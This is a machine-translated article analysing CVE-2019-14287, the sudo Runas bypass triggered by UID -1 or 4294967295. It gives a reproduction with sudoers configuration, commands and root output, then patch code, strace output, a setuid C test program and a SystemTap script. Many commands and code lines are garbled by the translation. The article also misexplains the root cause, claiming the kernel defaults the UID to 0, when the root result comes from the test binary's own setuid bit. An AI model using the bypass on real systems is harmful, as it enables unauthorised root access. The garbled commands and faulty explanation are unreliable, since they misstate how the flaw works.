How to understand the vulnerability analysis of CVE-2019-14287Linux sudo
How to understand the vulnerability analysis of CVE-2019-14287Linux sudo? in view of this problem, this article introduces the corresponding analysis and solution in detail, hoping to help more partners who want to solve this problem to find a more simple and feasible method.
Sudo has exposed a vulnerability in which unauthorized privileged users can bypass restrictions to gain privileges. The official announcement of the restoration can be found at https://www.sudo.ws/alerts/minus_1_uid.html.
1. Loophole recurrence
Experimental environment:
Operating system CentOS Linux release 7.5.1804 kernel 3.10.0-862.14.4.el7.x86_64sudo version 1.8.19p2
First, add a system account test_sudo as the experiment:
[root@localhost ~] # useradd test_sudo
Then add the following to / etc/sudoers with the root identity:
Test_sudo ALL= (all recording root) / usr/bin/id
Indicates that the test_sudo account is allowed to execute / usr/bin/id as a non-root account, and an attempt to run the id command under the root account will be rejected:
[test_sudo@localhost ~] $sudo id Sorry, user test_sudo does not have permission to execute / bin/id on localhost.localdomain as root.
Sudo-u can also replace the user by specifying UID, when the specified UID is-1 or 4294967295 (the complement of-1 is actually handled internally as an unsigned integer), so a vulnerability can be triggered to bypass the above restrictions and execute commands as root:
[test_sudo@localhost] $sudo-root 1 iduid=0 (root) gid=1004 (test_sudo) group = 1004 (test_sudo) environment = unconfined_u:unconfined_r:unconfined_t:s0-s0: c0.c1023 [test _ sudo@localhost] $sudo-uplink 4294967295 iduid=0 (root) gid=1004 (test_sudo) group = 1004 (test_sudo) environment = unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c10232. Analysis of loophole principle
Find the submitted fix code in the official code repository: https://www.sudo.ws/repos/sudo/rev/83db8dba09e7.
Judging from the submitted code, only the lib/util/strtoid.c has been modified. The sudo_strtoid_v1 function defined in strtoid.c is responsible for parsing the UID string specified in the parameters. Patch key code:
/ * Disallow id-1, which means "no change". * / if (! valid_separator (p, ep, sep) | | llval = =-1 | | llval = = (id_t) UINT_MAX) {if (errstr! = NULL) * errstr = N" invalid value "; errno = EINVAL; goto done;}
The llval variable is the parsed value, and llval is not allowed to be-1 and UINT_MAX (4294967295).
That is, the patch only limits the value. From the perspective of vulnerability behavior, if it is-1, the final UID is 0, why can't it be-1? What happens when UID is-1? Continue to analyze it in depth.
Let's first trace the system calls with strace to see:
[root@localhost] # strace-u test_sudo sudo-upright Murray 1 id
Because the strace-u parameter requires the root identity to be used, the above command needs to be switched to the root account first, and then the sudo-uplink 1 id command is executed as test_sudo. From the output system call, notice that:
Setresuid (- 1,-1,-1) = 0
Setresuid is called internally by sudo to elevate permissions (although other functions such as setting groups are called, but without analysis), and the argument passed in is-1.
So let's do a simple experiment to call setresuid (- 1,-1,-1) to see why it is root identity after execution, as follows:
# include # include # include int main () {setresuid (- 1,-1,-1); setuid (0); printf ("EUID:% d, UID:% d\ n", geteuid (), getuid ()); return 0;}
Note that you need to change the user of the compiled binary file to root, and add the s bit. When the s bit is set, other accounts will run as the account to which the file belongs.
For convenience, I compile directly under the root account and add the s bit:
[root@localhost tmp] # gcc test.c [root@localhost tmp] # chmod + s a.out
Then execute a.out with the test_sudo account:
[test_sudo@localhost tmp] $. / a.outEUID: 0, UID: 0
As you can see, after running, the current identity becomes root.
In fact, the setresuid function is just a simple encapsulation of the system call setresuid32, and its implementation can be seen in the source code of GLibc:
/ File: sysdeps/unix/sysv/linux/i386/setresuid.cint__setresuid (uid_t ruid, uid_t euid, uid_t suid) {int result; result = INLINE_SETXID_SYSCALL (setresuid32, 3, ruid, euid, suid); return result;}
The last thing setresuid32 calls is the kernel function sys_setresuid, which is implemented as follows:
/ / File: kernel/sys.cSYSCALL_DEFINE3 (setresuid, uid_t, ruid, uid_t, euid, uid_t, suid) {. Struct cred * new;... Kruid = make_kuid (ns, ruid); keuid = make_kuid (ns, euid); ksuid = make_kuid (ns, suid); new = prepare_creds (); old = current_cred (); If (ruid! = (uid_t)-1) {new- > uid = kruid; if (! uid_eq (kruid, old- > uid)) {retval = set_user (new); if (retval
< 0) goto error; } } if (euid != (uid_t) -1) new->Euid = keuid; if (suid! = (uid_t)-1) new- > suid = ksuid; new- > fsuid = new- > euid;. Return commit_creds (new); error: abort_creds (new); return retval;}
To put it simply, when the kernel is processing, it will call the prepare_creds function to create a new credential structure, and the three parameters ruid, euid and suid passed to the function will assign ruid, euid and suid to the new credential only if it is not-1 (see the above three if logic), otherwise the default UID is 0. Finally, commit_creds is called to make the credential valid. This is why you have root permission when you pass-1.
We can also write a SystemTap script to observe the state of calling setresuid from the application layer and passing-1 to the kernel:
# system call probe syscall.setresuid {printf ("exec% s, args:% s\ n", execname (), argstr)} # capture the parameter probe kernel.function ("sys_setresuid") received by the kernel function sys_setresuid. Call {printf ("(sys_setresuid) arg1:% d, arg2:% d, arg3:% d\ n", int_arg (1), int_arg (2), int_arg (3)) } # capture the return value of the kernel function prepare_creds probe kernel.function ("prepare_creds"). Return {# for more information on the data structure, please see printf ("(prepare_cred), uid:% d; euid:% d\ n", $return- > uid- > val, $return- > euid- > val)} in linux/cred.h.
Then execute:
[root@localhost tmp] # stap test.stp
Then run the a.out we compiled earlier and take a look at what stap captured:
Exec a.out, args:-1,-1 # here are the three parameters passed to setresuid (sys_setresuid) arg1:-1, arg2:-1, arg3:-1 # here shows the three parameters (prepare_cred) of the final call to sys_setresuid, uid: 1000 Euid: 0 # sys_setresuid calls prepare_cred. You can see that the default EUID is 0. This is the answer to the question about how to understand the vulnerability analysis of CVE-2019-14287Linux sudo. I hope the above content can be of some help to everyone. If you still have a lot of doubts to be solved, you can follow the industry information channel for more related knowledge.